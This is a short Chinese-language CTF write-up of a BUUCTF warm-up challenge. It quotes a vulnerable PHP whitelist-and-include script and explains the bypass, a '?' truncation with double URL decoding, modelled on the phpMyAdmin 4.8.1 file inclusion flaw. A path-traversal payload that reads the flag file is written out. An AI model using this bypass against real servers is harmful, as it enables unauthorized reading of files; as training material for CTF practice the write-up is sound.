buu第一题。
get到的知识:
- ?二次编码的文件会被当成目录(phpmyadmin4.81的漏洞);
- 一个新的绕过姿势;
题目:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} //检测传入的page变量是否为空
if (in_array($page, $whitelist)) {
return true; // 检测page变量是否在白名单中
}
$_page = mb_substr( //第一次?截断。具体的语法见下文
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true; //检测一次?过滤后的变量是否在白名单里
}
$_page = urldecode($page); //二次解码 关键步骤
$_page = mb_substr(
$_page, //第二次?截断
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true; //检测第二次?过滤后的变量是否在白名单里
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
思路分析:
代码的总体思路已经写在注释里了。这里主要有两个点要注意:
1.?过滤中的php函数:
mb_substr():跟substr()差不多,截取目标串的相关区间的字符串。
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置。
2.关于?的二次编码:
简而言之,就是:如果我们对?进行二次编码/解码(传入url时解码一次,上文的代码中urldecode函数解码一次),那么所被包含的名称就会被认为是一个目录(文件夹)而不是一个特定的文件。
payload的构造和相关分析:
?file=hint.php?../../../../../ffffllllaaaagggg
- 前面的问号是为了使file在检测中被截断为hint.php,从而绕过白名单。
- ../../../../是因为传入的的hint.php被当作是一个目录,需要多个../去跨目录。具体是几层,大概是自己试出来的?
参考:
2.对于这个漏洞的详细分析:
https://blog.csdn.net/Mikasa_/article/details/88594749